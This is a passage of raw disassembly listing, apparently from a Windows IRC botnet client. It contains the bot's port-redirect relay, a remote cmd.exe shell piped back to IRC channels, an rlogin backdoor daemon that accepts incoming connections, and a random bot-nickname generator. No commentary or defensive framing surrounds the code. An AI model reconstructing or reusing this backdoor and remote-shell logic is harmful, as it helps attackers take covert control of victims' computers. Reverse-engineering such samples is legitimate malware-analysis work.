dword_491D68, edi jmp loc_40C79E sub_40C50A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412814 proc near ; DATA XREF: sub_40C50A+36E7o var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_44B6C0 ; htons push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_44B740 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_412978 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_44D064[eax], ebx call dword_44B5DC ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call dword_44B6EC ; bind test eax, eax jnz loc_412978 push 0Ah push ebx call dword_44B6E8 ; listen test eax, eax jnz loc_412978 loc_4128BE: ; CODE XREF: sub_412814+BEj ; sub_412814+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_44B754 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4128BE movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset aRedirectClient ; "[REDIRECT]: Client connection from IP: "... push eax call sub_418D70 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_4161EB mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_44D05C[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_41299C push esi push esi call ds:dword_4942F4 mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_44D06C[ecx], eax jz short loc_412963 loc_412950: ; CODE XREF: sub_412814+14Dj cmp [ebp+var_2C], esi jnz loc_4128BE push 32h call ds:dword_4942D8 jmp short loc_412950 ; --------------------------------------------------------------------------- loc_412963: ; CODE XREF: sub_412814+13Aj call ds:dword_4942F0 push eax push offset aRedirectFail_0 ; "[REDIRECT]: Failed to start client thre"... call sub_403655 pop ecx pop ecx jmp short loc_41297B ; --------------------------------------------------------------------------- loc_412978: ; CODE XREF: sub_412814+61j ; sub_412814+93j ... mov edi, [ebp+arg_0] loc_41297B: ; CODE XREF: sub_412814+162j push edi call dword_44B758 ; closesocket push ebx call dword_44B758 ; closesocket push [ebp+var_3C] call sub_416507 pop ecx push esi call ds:dword_4942FC pop edi pop esi pop ebx sub_412814 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41299C proc near ; DATA XREF: sub_412814+11Co var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_418D40 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_44B740 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_412B52 push 10h lea eax, [ebp+var_18] push edi push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_44B6C0 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_44B700 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_412A2C lea eax, [ebp+var_13C] push eax call dword_44B744 ; gethostbyname jmp short loc_412A3A ; --------------------------------------------------------------------------- loc_412A2C: ; CODE XREF: sub_41299C+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_44B678 ; gethostbyaddr loc_412A3A: ; CODE XREF: sub_41299C+8Ej cmp eax, edi jz loc_412B52 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jz loc_412B52 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_344] push offset aRedirectClie_0 ; "[REDIRECT]: Client connection to IP: %s"... push eax call sub_418D70 push esi lea eax, [ebp+var_344] push 10h push eax call sub_4161EB imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_44D064[ebx] mov dword_44D05C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_44D068[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_412B83 push edi push edi call ds:dword_4942F4 mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_44D06C[ecx], eax jz short loc_412B3F loc_412AEC: ; CODE XREF: sub_41299C+15Dj cmp [ebp+var_20], edi jnz short loc_412AFB push 32h call ds:dword_4942D8 jmp short loc_412AEC ; --------------------------------------------------------------------------- loc_412AFB: ; CODE XREF: sub_41299C+153j mov ebx, 1000h loc_412B00: ; CODE XREF: sub_41299C+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_44B6D8 ; recv cmp eax, edi jle short loc_412B52 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_44B710 ; send cmp eax, 0FFFFFFFFh jnz short loc_412B00 jmp short loc_412B52 ; --------------------------------------------------------------------------- loc_412B3F: ; CODE XREF: sub_41299C+14Ej call ds:dword_4942F0 push eax push offset aRedirectFail_1 ; "[REDIRECT]: Failed to start connection "... call sub_403655 pop ecx pop ecx loc_412B52: ; CODE XREF: sub_41299C+44j ; sub_41299C+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_44D064[eax] call dword_44B758 ; closesocket push [ebp+arg_0] call dword_44B758 ; closesocket push [ebp+var_4] call sub_416507 pop ecx push edi call ds:dword_4942FC pop edi pop esi pop ebx sub_41299C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B83 proc near ; DATA XREF: sub_41299C+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_418D40 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_412BBA: ; CODE XREF: sub_412B83+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_44D068[esi] call dword_44B6D8 ; recv test eax, eax jle short loc_412C01 push 0 push eax lea eax, [ebp+var_1128] push eax push dword_44D064[esi] call dword_44B710 ; send cmp eax, 0FFFFFFFFh jnz short loc_412BBA loc_412C01: ; CODE XREF: sub_412B83+61j push dword_44D068[esi] call dword_44B758 ; closesocket push [ebp+var_14] call sub_416507 pop ecx push 0 call ds:dword_4942FC pop edi pop esi sub_412B83 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412C20 proc near ; CODE XREF: sub_412C50+2Ap ; sub_412C88+7Ep ... mov eax, dword_491D94 push esi mov esi, ds:dword_4942E0 cmp eax, 0FFFFFFFFh jz short loc_412C34 push eax call esi loc_412C34: ; CODE XREF: sub_412C20+Fj mov eax, dword_491D9C cmp eax, 0FFFFFFFFh jz short loc_412C41 push eax call esi loc_412C41: ; CODE XREF: sub_412C20+1Cj mov eax, dword_491D90 cmp eax, 0FFFFFFFFh jz short loc_412C4E push eax call esi loc_412C4E: ; CODE XREF: sub_412C20+29j pop esi retn sub_412C20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412C50 proc near ; CODE XREF: sub_40449C+14Ap ; sub_40C50A+489Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_418E70 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_491D98 call ds:dword_4942E4 test eax, eax jnz short loc_412C83 call sub_412C20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_412C83: ; CODE XREF: sub_412C50+28j push 1 pop eax leave retn sub_412C50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412C88 proc near ; CODE XREF: sub_412D0F+D3p ; sub_412D0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_491DDC push [ebp+arg_4] call sub_419360 pop ecx test eax, eax pop ecx jz short loc_412CCB push 7D0h call ds:dword_4942D8 push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_418D70 add esp, 10h jmp short loc_412CE2 ; --------------------------------------------------------------------------- loc_412CCB: ; CODE XREF: sub_412C88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_31 ; "%s" push eax call sub_418D70 add esp, 0Ch loc_412CE2: ; CODE XREF: sub_412C88+41j lea eax, [ebp+var_200] push 0 push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_44B710 ; send test eax, eax jg short loc_412D0B call sub_412C20 loc_412D0B: ; CODE XREF: sub_412C88+7Cj xor eax, eax leave retn sub_412C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D0F proc near ; DATA XREF: sub_412E64+174o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_491DA0 loc_412D27: ; CODE XREF: sub_412D0F+79j ; sub_412D0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_491D94 call ds:dword_4943E0 test eax, eax jz loc_412DF5 cmp [ebp+var_4], edi jnz short loc_412D8A lea eax, [ebp+var_8] push eax push dword_491D90 call ds:dword_4943DC test eax, eax jz short loc_412D80 cmp [ebp+var_8], 103h jnz loc_412E19 loc_412D80: ; CODE XREF: sub_412D0F+62j push 0Ah call ds:dword_4942D8 jmp short loc_412D27 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_412DA1 loc_412D91: ; CODE XREF: sub_412D0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_412DEF inc eax cmp eax, [ebp+var_4] jb short loc_412D91 loc_412DA1: ; CODE XREF: sub_412D0F+80j mov [ebp+var_4], esi loc_412DA4: ; CODE XREF: sub_412D0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_491D94 call ds:dword_4942DC test eax, eax jz short loc_412E41 lea eax, [ebp+var_20C] push eax push ebx push dword_491DD4 call sub_412C88 add esp, 0Ch jmp loc_412D27 ; --------------------------------------------------------------------------- loc_412DEF: ; CODE XREF: sub_412D0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_412DA4 ; --------------------------------------------------------------------------- loc_412DF5: ; CODE XREF: sub_412D0F+45j push offset aCmdCouldNotRea ; "[CMD]: Could not read data from procces"... push ebx push dword_491DD4 call sub_412C88 push [ebp+arg_0] call sub_416507 add esp, 10h push 1 call ds:dword_4942FC loc_412E19: ; CODE XREF: sub_412D0F+6Bj call sub_412C20 push offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n" push ebx push dword_491DD4 call sub_412C88 push [ebp+arg_0] call sub_416507 add esp, 10h push edi call ds:dword_4942FC loc_412E41: ; CODE XREF: sub_412D0F+C3j push offset aCmdCouldNotR_0 ; "[CMD]: Could not read data from procces"... push ebx push dword_491DD4 call sub_412C88 push [ebp+arg_0] call sub_416507 add esp, 10h push edi call ds:dword_4942FC sub_412D0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E64 proc near ; CODE XREF: sub_40449C+99p ; sub_40C50A+5775p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi push edi call sub_412C20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_44B77C ; SearchPathA test eax, eax jz loc_412F5E lea eax, [ebp+var_1C] mov edi, ds:dword_4943E8 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], 1 mov [ebp+var_18], esi call edi test eax, eax jz loc_412F5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_412F5E mov edi, ds:dword_494290 push 3 push esi push esi push offset dword_491D98 call edi push eax push [ebp+var_8] call edi push eax call ds:dword_4943E4 test eax, eax jz short loc_412F5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_4189A0 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_4189A0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_178] push offset dword_491DE0 push eax loc_412F49: ; DATA XREF: .data:off_442874o ; .data:off_442878o mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_494330 test eax, eax jnz short loc_412F66 loc_412F5E: ; CODE XREF: sub_412E64+2Ej ; sub_412E64+5Cj ... or eax, 0FFFFFFFFh jmp loc_413018 ; --------------------------------------------------------------------------- loc_412F66: ; CODE XREF: sub_412E64+F8j push [ebp+var_4] mov edi, ds:dword_4942E0 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_491D94, eax mov eax, [ebp+var_8] mov dword_491D9C, eax mov eax, [ebp+var_2C] mov dword_491D90, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_491DD4, eax jz short loc_412FA0 push [ebp+arg_4] jmp short loc_412FA5 ; --------------------------------------------------------------------------- loc_412FA0: ; CODE XREF: sub_412E64+135j push offset dword_491DE4 loc_412FA5: ; CODE XREF: sub_412E64+13Aj push offset dword_491DA0 call sub_418D70 pop ecx pop ecx push esi push 7 push offset aCmdRemoteComma ; "[CMD]: Remote Command Prompt" call sub_4161EB mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_44D060[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_412D0F push esi push esi call ds:dword_4942F4 cmp eax, esi mov dword_44D06C[edi], eax jnz short loc_413016 call ds:dword_4942F0 push eax lea eax, [ebp+var_378] push offset aCmdFailedToSta ; "[CMD]: Failed to start IO thread, error"... push eax call sub_418D70 lea eax, [ebp+var_378] push eax call sub_4035E1 add esp, 10h loc_413016: ; CODE XREF: sub_412E64+189j xor eax, eax loc_413018: ; CODE XREF: sub_412E64+FDj pop edi pop esi leave retn sub_412E64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41301C proc near ; DATA XREF: sub_4132AA+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_44D064[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_44B6A8 ; select test eax, eax jnz short loc_4130A0 push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push edi call ds:dword_4942FC loc_4130A0: ; CODE XREF: sub_41301C+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_44B6D8 ; recv lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_413221 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_413221 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_413221 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_44B61C ; getpeername test eax, eax jz short loc_413119 call dword_44B654 ; WSAGetLastError push eax push offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>." call sub_403655 push [ebp+arg_0] call sub_416507 add esp, 0Ch push edi call ds:dword_4942FC loc_413119: ; CODE XREF: sub_41301C+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_44B678 ; gethostbyaddr cmp eax, edi jnz short loc_413143 push [ebp+var_18] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_B0] push eax call sub_418D70 jmp short loc_413151 ; --------------------------------------------------------------------------- loc_413143: ; CODE XREF: sub_41301C+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_419FA0 loc_413151: ; CODE XREF: sub_41301C+125j pop ecx pop ecx push edi push ebx push offset dword_491DF8 push dword ptr [esi] call dword_44B710 ; send cmp dword_491DF0, edi jnz short loc_4131B3 push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_41327B add esp, 10h test eax, eax jnz short loc_4131B3 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_44B710 ; send push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push edi call ds:dword_4942FC loc_4131B3: ; CODE XREF: sub_41301C+14Cj ; sub_41301C+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>." call sub_403655 push [ebp+arg_0] call sub_41416C add esp, 10h test eax, eax jnz short loc_4131FA call ds:dword_4942F0 push eax push offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>." call sub_403655 push [ebp+arg_0] call sub_416507 add esp, 0Ch push ebx call ds:dword_4942FC loc_4131FA: ; CODE XREF: sub_41301C+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>." call sub_403655 push [ebp+arg_0] call sub_416507 add esp, 10h push edi call ds:dword_4942FC sub_41301C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413221 proc near ; CODE XREF: sub_41301C+9Ap ; sub_41301C+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_44B6D8 ; recv cmp eax, 1 jnz short loc_413271 mov esi, [ebp+arg_4] loc_41323F: ; CODE XREF: sub_413221+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_413266 test al, al jz short loc_413275 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_44B6D8 ; recv cmp eax, 1 jz short loc_41323F jmp short loc_413271 ; --------------------------------------------------------------------------- loc_413266: ; CODE XREF: sub_413221+27j push offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long." call sub_403655 pop ecx loc_413271: ; CODE XREF: sub_413221+19j ; sub_413221+43j xor eax, eax jmp short loc_413278 ; --------------------------------------------------------------------------- loc_413275: ; CODE XREF: sub_413221+2Bj push 1 pop eax loc_413278: ; CODE XREF: sub_413221+52j pop esi leave retn sub_413221 endp ; =============== S U B R O U T I N E ======================================= sub_41327B proc near ; CODE XREF: sub_41301C+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_419360 pop ecx test eax, eax pop ecx jz short loc_4132A6 push [esp+arg_4] push [esp+4+arg_0] push offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"... call sub_403655 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_4132A6: ; CODE XREF: sub_41327B+11j push 1 pop eax retn sub_41327B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4132AA proc near ; DATA XREF: sub_40C50A+561Eo var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_44B638 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_413303 push eax push offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>." call sub_403655 push [ebp+var_4C] call sub_416507 add esp, 0Ch push edi call ds:dword_4942FC loc_413303: ; CODE XREF: sub_4132AA+3Aj push edi push offset loc_413528 call ds:dword_4943EC test eax, eax jnz short loc_41333C call ds:dword_4942F0 push eax push offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "... call sub_403655 pop ecx pop ecx call dword_44B620 ; WSACleanup push [ebp+var_4C] call sub_416507 pop ecx push edi call ds:dword_4942FC loc_41333C: ; CODE XREF: sub_4132AA+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call dword_44B6C0 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_44B740 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4134B3 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_44D064[eax], ebx lea eax, [ebp+var_20] push eax push ebx call dword_44B6EC ; bind test eax, eax jnz loc_4134B3 push 7FFFFFFFh push ebx call dword_44B6E8 ; listen test eax, eax jnz loc_4134B3 push offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"... mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_4035E1 pop ecx mov [ebp+arg_0], edi loc_4133CB: ; CODE XREF: sub_4132AA+15Aj ; sub_4132AA+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_44B754 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_4134B6 push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_44B6A0 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_4133CB movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_414] push offset aRlogindClientC ; "[RLOGIND]: Client connection from IP: %"... push eax call sub_418D70 lea eax, [ebp+var_414] push eax call sub_4035E1 push edi lea eax, [ebp+var_414] push 6 push eax call sub_4161EB mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_44D05C[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_41301C lea eax, [ebp+var_10] push esi push eax call ds:dword_4942F4 mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_44D06C[ecx], eax jz short loc_41349E loc_41348B: ; CODE XREF: sub_4132AA+1F2j cmp [ebp+var_38], esi jnz loc_4133CB push 32h call ds:dword_4942D8 jmp short loc_41348B ; --------------------------------------------------------------------------- loc_41349E: ; CODE XREF: sub_4132AA+1DFj call ds:dword_4942F0 push eax push offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"... call sub_403655 pop ecx pop ecx jmp short loc_4134B6 ; --------------------------------------------------------------------------- loc_4134B3: ; CODE XREF: sub_4132AA+C8j ; sub_4132AA+ECj ... mov edi, [ebp+arg_0] loc_4134B6: ; CODE XREF: sub_4132AA+13Cj ; sub_4132AA+207j call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_414] push offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_4134F6 push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_40842D add esp, 14h loc_4134F6: ; CODE XREF: sub_4132AA+22Aj lea eax, [ebp+var_414] push eax call sub_4035E1 pop ecx push edi call dword_44B758 ; closesocket push ebx call dword_44B758 ; closesocket call dword_44B620 ; WSACleanup push [ebp+var_4C] call sub_416507 pop ecx push esi call ds:dword_4942FC pop ebx loc_413528: ; DATA XREF: sub_4132AA+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_4132AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413532 proc near ; CODE XREF: sub_4138AA+49p ; DATA XREF: .data:off_441CD0o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_494308 push eax call sub_418FF0 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aFf_2 ; "[FF]-" push offset dword_441D24 push 1Ch push edi call sub_418EF0 xor esi, esi add esp, 10h cmp dword_43E1BC, esi jle short loc_41358B loc_413565: ; CODE XREF: sub_413532+57j call sub_419000 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_2 ; "%s%i" push 1Ch push edi call sub_418EF0 add esp, 14h inc esi cmp esi, dword_43E1BC jl short loc_413565 loc_41358B: ; CODE XREF: sub_413532+31j mov eax, edi pop edi pop esi retn sub_413532 endp ; =============== S U B R O U T I N E ======================================= sub_413590 proc near ; CODE XREF: sub_40C50A+3E7Fp arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_494308 push eax call sub_418FF0 pop ecx call sub_419000 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_43E1BC test esi, esi jle short loc_4135D3 loc_4135BD: ; CODE XREF: sub_413590+41j call sub_419000 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_4135BD loc_4135D3: ; CODE XREF: sub_413590+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, 